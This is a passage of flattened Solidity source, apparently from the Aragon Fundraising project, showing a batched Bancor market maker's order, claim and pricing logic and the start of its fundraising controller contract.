* @notice Open a sell order worth `@tokenAmount(self.token(): address, _amount)` against `_collateral.symbol(): string` * @param _seller The address of the seller * @param _collateral The address of the collateral token to be returned * @param _amount The amount of bonded token to be spent */ function openSellOrder(address _seller, address _collateral, uint256 _amount) external auth(OPEN_SELL_ORDER_ROLE) { require(isOpen, ERROR_NOT_OPEN); require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED); require(!_batchIsCancelled(_currentBatchId(), _collateral), ERROR_BATCH_CANCELLED); require(_bondAmountIsValid(_seller, _amount), ERROR_INVALID_BOND_AMOUNT); _openSellOrder(_seller, _collateral, _amount); } /** * @notice Claim the results of `_buyer`'s `_collateral.symbol(): string` buy orders from batch #`_batchId` * @param _buyer The address of the user whose buy orders are to be claimed * @param _batchId The id of the batch in which buy orders are to be claimed * @param _collateral The address of the collateral token against which buy orders are to be claimed */ function claimBuyOrder(address _buyer, uint256 _batchId, address _collateral) external nonReentrant isInitialized { require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED); require(_batchIsOver(_batchId), ERROR_BATCH_NOT_OVER); require(!_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_CANCELLED); require(_userIsBuyer(_batchId, _collateral, _buyer), ERROR_NOTHING_TO_CLAIM); _claimBuyOrder(_buyer, _batchId, _collateral); } /** * @notice Claim the results of `_seller`'s `_collateral.symbol(): string` sell orders from batch #`_batchId` * @param _seller The address of the user whose sell orders are to be claimed * @param _batchId The id of the batch in which sell orders are to be claimed * @param _collateral The address of the collateral token against which sell orders are to be claimed */ function claimSellOrder(address _seller, uint256 _batchId, address _collateral) external nonReentrant isInitialized { require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED); require(_batchIsOver(_batchId), ERROR_BATCH_NOT_OVER); require(!_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_CANCELLED); require(_userIsSeller(_batchId, _collateral, _seller), ERROR_NOTHING_TO_CLAIM); _claimSellOrder(_seller, _batchId, _collateral); } /** * @notice Claim the investments of `_buyer`'s `_collateral.symbol(): string` buy orders from cancelled batch #`_batchId` * @param _buyer The address of the user whose cancelled buy orders are to be claimed * @param _batchId The id of the batch in which cancelled buy orders are to be claimed * @param _collateral The address of the collateral token against which cancelled buy orders are to be claimed */ function claimCancelledBuyOrder(address _buyer, uint256 _batchId, address _collateral) external nonReentrant isInitialized { require(_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_NOT_CANCELLED); require(_userIsBuyer(_batchId, _collateral, _buyer), ERROR_NOTHING_TO_CLAIM); _claimCancelledBuyOrder(_buyer, _batchId, _collateral); } /** * @notice Claim the investments of `_seller`'s `_collateral.symbol(): string` sell orders from cancelled batch #`_batchId` * @param _seller The address of the user whose cancelled sell orders are to be claimed * @param _batchId The id of the batch in which cancelled sell orders are to be claimed * @param _collateral The address of the collateral token against which cancelled sell orders are to be claimed */ function claimCancelledSellOrder(address _seller, uint256 _batchId, address _collateral) external nonReentrant isInitialized { require(_batchIsCancelled(_batchId, _collateral), ERROR_BATCH_NOT_CANCELLED); require(_userIsSeller(_batchId, _collateral, _seller), ERROR_NOTHING_TO_CLAIM); _claimCancelledSellOrder(_seller, _batchId, _collateral); } /***** public view functions *****/ function getCurrentBatchId() public view isInitialized returns (uint256) { return _currentBatchId(); } function getCollateralToken(address _collateral) public view isInitialized returns (bool, uint256, uint256, uint32, uint256) { Collateral storage collateral = collaterals[_collateral]; return (collateral.whitelisted, collateral.virtualSupply, collateral.virtualBalance, collateral.reserveRatio, collateral.slippage); } function getBatch(uint256 _batchId, address _collateral) public view isInitialized returns (bool, bool, uint256, uint256, uint32, uint256, uint256, uint256, uint256, uint256) { Batch storage batch = metaBatches[_batchId].batches[_collateral]; return ( batch.initialized, batch.cancelled, batch.supply, batch.balance, batch.reserveRatio, batch.slippage, batch.totalBuySpend, batch.totalBuyReturn, batch.totalSellSpend, batch.totalSellReturn ); } function getStaticPricePPM(uint256 _supply, uint256 _balance, uint32 _reserveRatio) public view isInitialized returns (uint256) { return _staticPricePPM(_supply, _balance, _reserveRatio); } /***** internal functions *****/ /* computation functions */ function _staticPricePPM(uint256 _supply, uint256 _balance, uint32 _reserveRatio) internal pure returns (uint256) { return uint256(PPM).mul(uint256(PPM)).mul(_balance).div(_supply.mul(uint256(_reserveRatio))); } function _currentBatchId() internal view returns (uint256) { return (block.number.div(batchBlocks)).mul(batchBlocks); } /* check functions */ function _beneficiaryIsValid(address _beneficiary) internal pure returns (bool) { return _beneficiary != address(0); } function _feeIsValid(uint256 _fee) internal pure returns (bool) { return _fee < PCT_BASE; } function _reserveRatioIsValid(uint32 _reserveRatio) internal pure returns (bool) { return _reserveRatio <= PPM; } function _tokenManagerSettingIsValid(TokenManager _tokenManager) internal view returns (bool) { return _tokenManager.maxAccountTokens() == uint256(-1); } function _collateralValueIsValid(address _buyer, address _collateral, uint256 _value, uint256 _msgValue) internal view returns (bool) { if (_value == 0) { return false; } if (_collateral == ETH) { return _msgValue == _value; } return ( _msgValue == 0 && controller.balanceOf(_buyer, _collateral) >= _value && ERC20(_collateral).allowance(_buyer, address(this)) >= _value ); } function _bondAmountIsValid(address _seller, uint256 _amount) internal view returns (bool) { return _amount != 0 && tokenManager.spendableBalanceOf(_seller) >= _amount; } function _collateralIsWhitelisted(address _collateral) internal view returns (bool) { return collaterals[_collateral].whitelisted; } function _batchIsOver(uint256 _batchId) internal view returns (bool) { return _batchId < _currentBatchId(); } function _batchIsCancelled(uint256 _batchId, address _collateral) internal view returns (bool) { return metaBatches[_batchId].batches[_collateral].cancelled; } function _userIsBuyer(uint256 _batchId, address _collateral, address _user) internal view returns (bool) { Batch storage batch = metaBatches[_batchId].batches[_collateral]; return batch.buyers[_user] > 0; } function _userIsSeller(uint256 _batchId, address _collateral, address _user) internal view returns (bool) { Batch storage batch = metaBatches[_batchId].batches[_collateral]; return batch.sellers[_user] > 0; } function _poolBalanceIsSufficient(address _collateral) internal view returns (bool) { return controller.balanceOf(address(reserve), _collateral) >= collateralsToBeClaimed[_collateral]; } function _slippageIsValid(Batch storage _batch, address _collateral) internal view returns (bool) { uint256 staticPricePPM = _staticPricePPM(_batch.supply, _batch.balance, _batch.reserveRatio); uint256 maximumSlippage = _batch.slippage; // if static price is zero let's consider that every slippage is valid if (staticPricePPM == 0) { return true; } return _buySlippageIsValid(_batch, staticPricePPM, maximumSlippage) && _sellSlippageIsValid(_batch, staticPricePPM, maximumSlippage); } function _buySlippageIsValid(Batch storage _batch, uint256 _startingPricePPM, uint256 _maximumSlippage) internal view returns (bool) { /** * NOTE * the case where starting price is zero is handled * in the meta function _slippageIsValid() */ /** * NOTE * slippage is valid if: * totalBuyReturn >= totalBuySpend / (startingPrice * (1 + maxSlippage)) * totalBuyReturn >= totalBuySpend / ((startingPricePPM / PPM) * (1 + maximumSlippage / PCT_BASE)) * totalBuyReturn >= totalBuySpend / ((startingPricePPM / PPM) * (1 + maximumSlippage / PCT_BASE)) * totalBuyReturn >= totalBuySpend / ((startingPricePPM / PPM) * (PCT + maximumSlippage) / PCT_BASE) * totalBuyReturn * startingPrice * ( PCT + maximumSlippage) >= totalBuySpend * PCT_BASE * PPM */ if ( _batch.totalBuyReturn.mul(_startingPricePPM).mul(PCT_BASE.add(_maximumSlippage)) >= _batch.totalBuySpend.mul(PCT_BASE).mul(uint256(PPM)) ) { return true; } return false; } function _sellSlippageIsValid(Batch storage _batch, uint256 _startingPricePPM, uint256 _maximumSlippage) internal view returns (bool) { /** * NOTE * the case where starting price is zero is handled * in the meta function _slippageIsValid() */ // if allowed sell slippage >= 100% // then any sell slippage is valid if (_maximumSlippage >= PCT_BASE) { return true; } /** * NOTE * slippage is valid if * totalSellReturn >= startingPrice * (1 - maxSlippage) * totalBuySpend * totalSellReturn >= (startingPricePPM / PPM) * (1 - maximumSlippage / PCT_BASE) * totalBuySpend * totalSellReturn >= (startingPricePPM / PPM) * (PCT_BASE - maximumSlippage) * totalBuySpend / PCT_BASE * totalSellReturn * PCT_BASE * PPM = startingPricePPM * (PCT_BASE - maximumSlippage) * totalBuySpend */ if ( _batch.totalSellReturn.mul(PCT_BASE).mul(uint256(PPM)) >= _startingPricePPM.mul(PCT_BASE.sub(_maximumSlippage)).mul(_batch.totalSellSpend) ) { return true; } return false; } /* initialization functions */ function _currentBatch(address _collateral) internal returns (uint256, Batch storage) { uint256 batchId = _currentBatchId(); MetaBatch storage metaBatch = metaBatches[batchId]; Batch storage batch = metaBatch.batches[_collateral]; if (!metaBatch.initialized) { /** * NOTE * all collateral batches should be initialized with the same supply to * avoid price manipulation between different collaterals in the same meta-batch * we don't need to do the same with collateral balances as orders against one collateral * can't affect the pool's balance against another collateral and tap is a step-function * of the meta-batch duration */ /** * NOTE * realSupply(metaBatch) = totalSupply(metaBatchInitialization) + tokensToBeMinted(metaBatchInitialization) * 1. buy and sell orders incoming during the current meta-batch and affecting totalSupply or tokensToBeMinted * should not be taken into account in the price computation [they are already a part of the batched pricing computation] * 2. the only way for totalSupply to be modified during a meta-batch [outside of incoming buy and sell orders] * is for buy orders from previous meta-batches to be claimed [and tokens to be minted]: * as such totalSupply(metaBatch) + tokenToBeMinted(metaBatch) will always equal totalSupply(metaBatchInitialization) + tokenToBeMinted(metaBatchInitialization) */ metaBatch.realSupply = token.totalSupply().add(tokensToBeMinted); metaBatch.buyFeePct = buyFeePct; metaBatch.sellFeePct = sellFeePct; metaBatch.formula = formula; metaBatch.initialized = true; emit NewMetaBatch(batchId, metaBatch.realSupply, metaBatch.buyFeePct, metaBatch.sellFeePct, metaBatch.formula); } if (!batch.initialized) { /** * NOTE * supply(batch) = realSupply(metaBatch) + virtualSupply(batchInitialization) * virtualSupply can technically be updated during a batch: the on-going batch will still use * its value at the time of initialization [it's up to the updater to act wisely] */ /** * NOTE * balance(batch) = poolBalance(batchInitialization) - collateralsToBeClaimed(batchInitialization) + virtualBalance(metaBatchInitialization) * 1. buy and sell orders incoming during the current batch and affecting poolBalance or collateralsToBeClaimed * should not be taken into account in the price computation [they are already a part of the batched price computation] * 2. the only way for poolBalance to be modified during a batch [outside of incoming buy and sell orders] * is for sell orders from previous meta-batches to be claimed [and collateral to be transfered] as the tap is a step-function of the meta-batch duration: * as such poolBalance(batch) - collateralsToBeClaimed(batch) will always equal poolBalance(batchInitialization) - collateralsToBeClaimed(batchInitialization) * 3. virtualBalance can technically be updated during a batch: the on-going batch will still use * its value at the time of initialization [it's up to the updater to act wisely] */ controller.updateTappedAmount(_collateral); batch.supply = metaBatch.realSupply.add(collaterals[_collateral].virtualSupply); batch.balance = controller.balanceOf(address(reserve), _collateral).add(collaterals[_collateral].virtualBalance).sub(collateralsToBeClaimed[_collateral]); batch.reserveRatio = collaterals[_collateral].reserveRatio; batch.slippage = collaterals[_collateral].slippage; batch.initialized = true; emit NewBatch(batchId, _collateral, batch.supply, batch.balance, batch.reserveRatio, batch.slippage); } return (batchId, batch); } /* state modifiying functions */ function _open() internal { isOpen = true; emit Open(); } function _updateBeneficiary(address _beneficiary) internal { beneficiary = _beneficiary; emit UpdateBeneficiary(_beneficiary); } function _updateFormula(IBancorFormula _formula) internal { formula = _formula; emit UpdateFormula(address(_formula)); } function _updateFees(uint256 _buyFeePct, uint256 _sellFeePct) internal { buyFeePct = _buyFeePct; sellFeePct = _sellFeePct; emit UpdateFees(_buyFeePct, _sellFeePct); } function _cancelCurrentBatch(address _collateral) internal { (uint256 batchId, Batch storage batch) = _currentBatch(_collateral); if (!batch.cancelled) { batch.cancelled = true; // bought bonds are cancelled but sold bonds are due back // bought collaterals are cancelled but sold collaterals are due back tokensToBeMinted = tokensToBeMinted.sub(batch.totalBuyReturn).add(batch.totalSellSpend); collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].add(batch.totalBuySpend).sub(batch.totalSellReturn); emit CancelBatch(batchId, _collateral); } } function _addCollateralToken(address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage) internal { collaterals[_collateral].whitelisted = true; collaterals[_collateral].virtualSupply = _virtualSupply; collaterals[_collateral].virtualBalance = _virtualBalance; collaterals[_collateral].reserveRatio = _reserveRatio; collaterals[_collateral].slippage = _slippage; emit AddCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); } function _removeCollateralToken(address _collateral) internal { _cancelCurrentBatch(_collateral); Collateral storage collateral = collaterals[_collateral]; delete collateral.whitelisted; delete collateral.virtualSupply; delete collateral.virtualBalance; delete collateral.reserveRatio; delete collateral.slippage; emit RemoveCollateralToken(_collateral); } function _updateCollateralToken( address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage ) internal { collaterals[_collateral].virtualSupply = _virtualSupply; collaterals[_collateral].virtualBalance = _virtualBalance; collaterals[_collateral].reserveRatio = _reserveRatio; collaterals[_collateral].slippage = _slippage; emit UpdateCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); } function _openBuyOrder(address _buyer, address _collateral, uint256 _value) internal { (uint256 batchId, Batch storage batch) = _currentBatch(_collateral); // deduct fee uint256 fee = _value.mul(metaBatches[batchId].buyFeePct).div(PCT_BASE); uint256 value = _value.sub(fee); // collect fee and collateral if (fee > 0) { _transfer(_buyer, beneficiary, _collateral, fee); } _transfer(_buyer, address(reserve), _collateral, value); // save batch uint256 deprecatedBuyReturn = batch.totalBuyReturn; uint256 deprecatedSellReturn = batch.totalSellReturn; // update batch batch.totalBuySpend = batch.totalBuySpend.add(value); batch.buyers[_buyer] = batch.buyers[_buyer].add(value); // update pricing _updatePricing(batch, batchId, _collateral); // update the amount of tokens to be minted and collaterals to be claimed tokensToBeMinted = tokensToBeMinted.sub(deprecatedBuyReturn).add(batch.totalBuyReturn); collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].sub(deprecatedSellReturn).add(batch.totalSellReturn); // sanity checks require(_slippageIsValid(batch, _collateral), ERROR_SLIPPAGE_EXCEEDS_LIMIT); emit OpenBuyOrder(_buyer, batchId, _collateral, fee, value); } function _openSellOrder(address _seller, address _collateral, uint256 _amount) internal { (uint256 batchId, Batch storage batch) = _currentBatch(_collateral); // burn bonds tokenManager.burn(_seller, _amount); // save batch uint256 deprecatedBuyReturn = batch.totalBuyReturn; uint256 deprecatedSellReturn = batch.totalSellReturn; // update batch batch.totalSellSpend = batch.totalSellSpend.add(_amount); batch.sellers[_seller] = batch.sellers[_seller].add(_amount); // update pricing _updatePricing(batch, batchId, _collateral); // update the amount of tokens to be minted and collaterals to be claimed tokensToBeMinted = tokensToBeMinted.sub(deprecatedBuyReturn).add(batch.totalBuyReturn); collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].sub(deprecatedSellReturn).add(batch.totalSellReturn); // sanity checks require(_slippageIsValid(batch, _collateral), ERROR_SLIPPAGE_EXCEEDS_LIMIT); require(_poolBalanceIsSufficient(_collateral), ERROR_INSUFFICIENT_POOL_BALANCE); emit OpenSellOrder(_seller, batchId, _collateral, _amount); } function _claimBuyOrder(address _buyer, uint256 _batchId, address _collateral) internal { Batch storage batch = metaBatches[_batchId].batches[_collateral]; uint256 buyReturn = (batch.buyers[_buyer].mul(batch.totalBuyReturn)).div(batch.totalBuySpend); batch.buyers[_buyer] = 0; if (buyReturn > 0) { tokensToBeMinted = tokensToBeMinted.sub(buyReturn); tokenManager.mint(_buyer, buyReturn); } emit ClaimBuyOrder(_buyer, _batchId, _collateral, buyReturn); } function _claimSellOrder(address _seller, uint256 _batchId, address _collateral) internal { Batch storage batch = metaBatches[_batchId].batches[_collateral]; uint256 saleReturn = (batch.sellers[_seller].mul(batch.totalSellReturn)).div(batch.totalSellSpend); uint256 fee = saleReturn.mul(metaBatches[_batchId].sellFeePct).div(PCT_BASE); uint256 value = saleReturn.sub(fee); batch.sellers[_seller] = 0; if (value > 0) { collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].sub(saleReturn); reserve.transfer(_collateral, _seller, value); } if (fee > 0) { reserve.transfer(_collateral, beneficiary, fee); } emit ClaimSellOrder(_seller, _batchId, _collateral, fee, value); } function _claimCancelledBuyOrder(address _buyer, uint256 _batchId, address _collateral) internal { Batch storage batch = metaBatches[_batchId].batches[_collateral]; uint256 value = batch.buyers[_buyer]; batch.buyers[_buyer] = 0; if (value > 0) { collateralsToBeClaimed[_collateral] = collateralsToBeClaimed[_collateral].sub(value); reserve.transfer(_collateral, _buyer, value); } emit ClaimCancelledBuyOrder(_buyer, _batchId, _collateral, value); } function _claimCancelledSellOrder(address _seller, uint256 _batchId, address _collateral) internal { Batch storage batch = metaBatches[_batchId].batches[_collateral]; uint256 amount = batch.sellers[_seller]; batch.sellers[_seller] = 0; if (amount > 0) { tokensToBeMinted = tokensToBeMinted.sub(amount); tokenManager.mint(_seller, amount); } emit ClaimCancelledSellOrder(_seller, _batchId, _collateral, amount); } function _updatePricing(Batch storage batch, uint256 _batchId, address _collateral) internal { // the situation where there are no buy nor sell orders can't happen [keep commented] // if (batch.totalSellSpend == 0 && batch.totalBuySpend == 0) // return; // static price is the current exact price in collateral // per token according to the initial state of the batch // [expressed in PPM for precision sake] uint256 staticPricePPM = _staticPricePPM(batch.supply, batch.balance, batch.reserveRatio); // [NOTE] // if staticPrice is zero then resultOfSell [= 0] <= batch.totalBuySpend // so totalSellReturn will be zero and totalBuyReturn will be // computed normally along the formula // 1. we want to find out if buy orders are worth more sell orders [or vice-versa] // 2. we thus check the return of sell orders at the current exact price // 3. if the return of sell orders is larger than the pending buys, // there are more sells than buys [and vice-versa] uint256 resultOfSell = batch.totalSellSpend.mul(staticPricePPM).div(uint256(PPM)); if (resultOfSell > batch.totalBuySpend) { // >> sell orders are worth more than buy orders // 1. first we execute all pending buy orders at the current exact // price because there is at least one sell order for each buy order // 2. then the final sell return is the addition of this first // matched return with the remaining bonding curve return // the number of tokens bought as a result of all buy orders matched at the // current exact price [which is less than the total amount of tokens to be sold] batch.totalBuyReturn = batch.totalBuySpend.mul(uint256(PPM)).div(staticPricePPM); // the number of tokens left over to be sold along the curve which is the difference // between the original total sell order and the result of all the buy orders uint256 remainingSell = batch.totalSellSpend.sub(batch.totalBuyReturn); // the amount of collateral generated by selling tokens left over to be sold // along the bonding curve in the batch initial state [as if the buy orders // never existed and the sell order was just smaller than originally thought] uint256 remainingSellReturn = metaBatches[_batchId].formula.calculateSaleReturn(batch.supply, batch.balance, batch.reserveRatio, remainingSell); // the total result of all sells is the original amount of buys which were matched // plus the remaining sells which were executed along the bonding curve batch.totalSellReturn = batch.totalBuySpend.add(remainingSellReturn); } else { // >> buy orders are worth more than sell orders // 1. first we execute all pending sell orders at the current exact // price because there is at least one buy order for each sell order // 2. then the final buy return is the addition of this first // matched return with the remaining bonding curve return // the number of collaterals bought as a result of all sell orders matched at the // current exact price [which is less than the total amount of collateral to be spent] batch.totalSellReturn = resultOfSell; // the number of collaterals left over to be spent along the curve which is the difference // between the original total buy order and the result of all the sell orders uint256 remainingBuy = batch.totalBuySpend.sub(resultOfSell); // the amount of tokens generated by selling collaterals left over to be spent // along the bonding curve in the batch initial state [as if the sell orders // never existed and the buy order was just smaller than originally thought] uint256 remainingBuyReturn = metaBatches[_batchId].formula.calculatePurchaseReturn(batch.supply, batch.balance, batch.reserveRatio, remainingBuy); // the total result of all buys is the original amount of buys which were matched // plus the remaining buys which were executed along the bonding curve batch.totalBuyReturn = batch.totalSellSpend.add(remainingBuyReturn); } emit UpdatePricing(_batchId, _collateral, batch.totalBuySpend, batch.totalBuyReturn, batch.totalSellSpend, batch.totalSellReturn); } function _transfer(address _from, address _to, address _collateralToken, uint256 _amount) internal { if (_collateralToken == ETH) { _to.transfer(_amount); } else { require(ERC20(_collateralToken).safeTransferFrom(_from, _to, _amount), ERROR_TRANSFER_FROM_FAILED); } } } // File: @ablack/fundraising-shared-interfaces/contracts/IPresale.sol pragma solidity 0.4.24; contract IPresale { function open() external; function close() external; function contribute(address _contributor, uint256 _value) external payable; function refund(address _contributor, uint256 _vestedPurchaseId) external; function contributionToTokens(uint256 _value) public view returns (uint256); function contributionToken() public view returns (address); } // File: @ablack/fundraising-shared-interfaces/contracts/ITap.sol pragma solidity 0.4.24; contract ITap { function updateBeneficiary(address _beneficiary) external; function updateMaximumTapRateIncreasePct(uint256 _maximumTapRateIncreasePct) external; function updateMaximumTapFloorDecreasePct(uint256 _maximumTapFloorDecreasePct) external; function addTappedToken(address _token, uint256 _rate, uint256 _floor) external; function updateTappedToken(address _token, uint256 _rate, uint256 _floor) external; function resetTappedToken(address _token) external; function updateTappedAmount(address _token) external; function withdraw(address _token) external; function getMaximumWithdrawal(address _token) public view returns (uint256); function rates(address _token) public view returns (uint256); } // File: @ablack/fundraising-aragon-fundraising/contracts/AragonFundraisingController.sol pragma solidity 0.4.24; contract AragonFundraisingController is EtherTokenConstant, IsContract, IAragonFundraisingController, AragonApp { using SafeERC20 for ERC20; using SafeMath for uint256; /** Hardcoded constants to save gas bytes32 public constant UPDATE_BENEFICIARY_ROLE = keccak256("UPDATE_BENEFICIARY_ROLE"); bytes32 public constant UPDATE_FEES_ROLE = keccak256("UPDATE_FEES_ROLE"); bytes32 public constant ADD_COLLATERAL_TOKEN_ROLE = keccak256("ADD_COLLATERAL_TOKEN_ROLE"); bytes32 public constant REMOVE_COLLATERAL_TOKEN_ROLE = keccak256("REMOVE_COLLATERAL_TOKEN_ROLE"); bytes32 public constant UPDATE_COLLATERAL_TOKEN_ROLE = keccak256("UPDATE_COLLATERAL_TOKEN_ROLE"); bytes32 public constant UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE = keccak256("UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE"); bytes32 public constant UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE = keccak256("UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE"); bytes32 public constant ADD_TOKEN_TAP_ROLE = keccak256("ADD_TOKEN_TAP_ROLE"); bytes32 public constant UPDATE_TOKEN_TAP_ROLE = keccak256("UPDATE_TOKEN_TAP_ROLE"); bytes32 public constant OPEN_PRESALE_ROLE = keccak256("OPEN_PRESALE_ROLE"); bytes32 public constant OPEN_TRADING_ROLE = keccak256("OPEN_TRADING_ROLE"); bytes32 public constant CONTRIBUTE_ROLE = keccak256("CONTRIBUTE_ROLE"); bytes32 public constant OPEN_BUY_ORDER_ROLE = keccak256("OPEN_BUY_ORDER_ROLE"); bytes32 public constant OPEN_SELL_ORDER_ROLE = keccak256("OPEN_SELL_ORDER_ROLE"); bytes32 public constant WITHDRAW_ROLE = keccak256("WITHDRAW_ROLE"); */ bytes32 public constant UPDATE_BENEFICIARY_ROLE = 0xf7ea2b80c7b6a2cab2c11d2290cb005c3748397358a25e17113658c83b732593; bytes32 public constant UPDATE_FEES_ROLE = 0x5f9be2932ed3a723f295a763be1804c7ebfd1a41c1348fb8bdf5be1c5cdca822; bytes32 public constant ADD_COLLATERAL_TOKEN_ROLE = 0x217b79cb2bc7760defc88529853ef81ab33ae5bb315408ce9f5af09c8776662d; bytes32 public constant REMOVE_COLLATERAL_TOKEN_ROLE = 0x2044e56de223845e4be7d0a6f4e9a29b635547f16413a6d1327c58d9db438ee2; bytes32 public constant UPDATE_COLLATERAL_TOKEN_ROLE = 0xe0565c2c43e0d841e206bb36a37f12f22584b4652ccee6f9e0c071b697a2e13d; bytes32 public constant UPDATE_MAXIMUM_TAP_RATE_INCREASE_PCT_ROLE = 0x5d94de7e429250eee4ff97e30ab9f383bea3cd564d6780e0a9e965b1add1d207; bytes32 public constant UPDATE_MAXIMUM_TAP_FLOOR_DECREASE_PCT_ROLE = 0x57c9c67896cf0a4ffe92cbea66c2f7c34380af06bf14215dabb078cf8a6d99e1; bytes32 public constant ADD_TOKEN_TAP_ROLE = 0xbc9cb5e3f7ce81c4fd021d86a4bcb193dee9df315b540808c3ed59a81e596207; bytes32 public constant UPDATE_TOKEN_TAP_ROLE = 0xdb8c88bedbc61ea0f92e1ce46da0b7a915affbd46d1c76c4bbac9a209e4a8416; bytes32 public constant OPEN_PRESALE_ROLE = 0xf323aa41eef4850a8ae7ebd047d4c89f01ce49c781f3308be67303db9cdd48c2; bytes32 public constant OPEN_TRADING_ROLE = 0x26ce034204208c0bbca4c8a793d17b99e546009b1dd31d3c1ef761f66372caf6; bytes32 public constant CONTRIBUTE_ROLE = 0x9ccaca4edf2127f20c425fdd86af1ba178b9e5bee280cd70d88ac5f6874c4f07; bytes32 public constant OPEN_BUY_ORDER_ROLE = 0xa589c8f284b76fc8d510d9d553485c47dbef1b0745ae00e0f3fd4e28fcd77ea7; bytes32 public constant OPEN_SELL_ORDER_ROLE = 0xd68ba2b769fa37a2a7bd4bed9241b448bc99eca41f519ef037406386a8f291c0; bytes32 public constant WITHDRAW_ROLE = 0x5d8e12c39142ff96d79d04d15d1ba1269e4fe57bb9d26f43523628b34ba108ec; uint256 public constant TO_RESET_CAP = 10; string private constant ERROR_CONTRACT_IS_EOA = "FUNDRAISING_CONTRACT_IS_EOA"; string private constant ERROR_INVALID_TOKENS = "FUNDRAISING_INVALID_TOKENS"; IPresale public presale; BatchedBancorMarketMaker public marketMaker; Agent public reserve; ITap public tap; address[] public toReset; /***** external functions *****/ /** * @notice Initialize Aragon Fundraising controller * @param _presale The address of the presale contract * @param _marketMaker The address of the market maker contract * @param _reserve The address of the reserve [pool] contract * @param _tap The address of the tap contract * @param _toReset The addresses of the tokens whose tap timestamps are to be reset [when presale is closed and trading is open] */ function initialize( IPresale _presale, BatchedBancorMarketMaker _marketMaker, Agent _reserve, ITap _tap, address[] _toReset ) external onlyInit { require(isContract(_presale), ERROR_CONTRACT_IS_EOA); require(isContract(_marketMaker), ERROR_CONTRACT_IS_EOA); require(isContract(_reserve), ERROR_CONTRACT_IS_EOA); require(isContract(_tap), ERROR_CONTRACT_IS_EOA); require(_toReset.length < TO_RESET_CAP, ERROR_INVALID_TOKENS); initialized(); presale = _presale; marketMaker = _marketMaker; reserve = _reserve; tap = _tap; for (uint256 i = 0; i < _toReset.length; i++) { require(_tokenIsContractOrETH(_toReset[i]), ERROR_INVALID_TOKENS); toReset.push(_toReset[i]); } } /* generic settings related function */ /** * @notice Update beneficiary to `_beneficiary` * @param _beneficiary The address of the new beneficiary */ function updateBeneficiary(address _beneficiary) external auth(UPDATE_BENEFICIARY_ROLE) { marketMaker.updateBeneficiary(_beneficiary); tap.updateBeneficiary(_beneficiary); } /** * @notice Update fees deducted from buy and sell orders to respectively `@formatPct(_buyFeePct)`% and `@formatPct(_sellFeePct)`% * @param _buyFeePct The new fee to be deducted from buy orders [in PCT_BASE] * @param _sellFeePct The new fee to be deducted from sell orders [in PCT_BASE] */ function updateFees(uint256 _buyFeePct, uint256 _sellFeePct) external auth(UPDATE_FEES_ROLE) { marketMaker.updateFees(_buyFeePct, _sellFeePct); } /* presale related functions */ /** * @notice Open presale */ function openPresale() external auth(OPEN_PRESALE_ROLE) { presale.open(); } /** * @notice Close presale and open trading */ function closePresale() external isInitialized { presale.close(); } /** * @notice Contribute to the presale up to `@tokenAmount(self.contributionToken(): address, _value)` * @param _value The amount of contribution token to be spent */ function contribute(uint256 _value) external payable auth(CONTRIBUTE_ROLE) { presale.contribute.value(msg.value)(msg.sender, _value); } /** * @notice Refund `_contributor`'s presale contribution #`_vestedPurchaseId` * @param _contributor The address of the contributor whose presale contribution is to be refunded * @param _vestedPurchaseId The id of the contribution to be refunded */ function refund(address _contributor, uint256 _vestedPurchaseId) external isInitialized { presale.refund(_contributor, _vestedPurchaseId); } /* market making related functions */ /** * @notice Open trading [enabling users to open buy and sell orders] */ function openTrading() external auth(OPEN_TRADING_ROLE) { for (uint256 i = 0; i < toReset.length; i++) { if (tap.rates(toReset[i]) != uint256(0)) { tap.resetTappedToken(toReset[i]); } } marketMaker.open(); } /** * @notice Open a buy order worth `@tokenAmount(_collateral, _value)` * @param _collateral The address of the collateral token to be spent * @param _value The amount of collateral token to be spent */ function openBuyOrder(address _collateral, uint256 _value) external payable auth(OPEN_BUY_ORDER_ROLE) { marketMaker.openBuyOrder.value(msg.value)(msg.sender, _collateral, _value); } /** * @notice Open a sell order worth `@tokenAmount(self.token(): address, _amount)` against `_collateral.symbol(): string` * @param _collateral The address of the collateral token to be returned * @param _amount The amount of bonded token to be spent */ function openSellOrder(address _collateral, uint256 _amount) external auth(OPEN_SELL_ORDER_ROLE) { marketMaker.openSellOrder(msg.sender, _collateral, _amount); } /** * @notice Claim the results of `_collateral.symbol(): string` buy orders from batch #`_batchId` * @param _buyer The address of the user whose buy orders are to be claimed * @param _batchId The id of the batch in which buy orders are to be claimed * @param _collateral The address of the collateral token against which buy orders are to be claimed */ function claimBuyOrder(address _buyer, uint256 _batchId, address _collateral) external isInitialized { marketMaker.claimBuyOrder(_buyer, _batchId, _collateral); } /** * @notice Claim the results of `_collateral.symbol(): string` sell orders from batch #`_batchId` * @param _seller The address of the user whose sell orders are to be claimed * @param _batchId The id of the batch in which sell orders are to be claimed * @param _collateral The address of the collateral token against which sell orders are to be claimed */ function claimSellOrder(address _seller, uint256 _batchId, address _collateral) external isInitialized { marketMaker.claimSellOrder(_seller, _batchId, _collateral); } /* collateral tokens related functions */ /** * @notice Add `_collateral.symbol(): string` as a whitelisted collateral token * @param _collateral The address of the collateral token to be whitelisted * @param _virtualSupply The virtual supply to be used for that collateral token [in wei] * @param _virtualBalance The virtual balance to be used for that collateral token [in wei] * @param _reserveRatio The reserve ratio to be used for that collateral token [in PPM] * @param _slippage The price slippage below which each market making batch is to be kept for that collateral token [in PCT_BASE] * @param _rate The 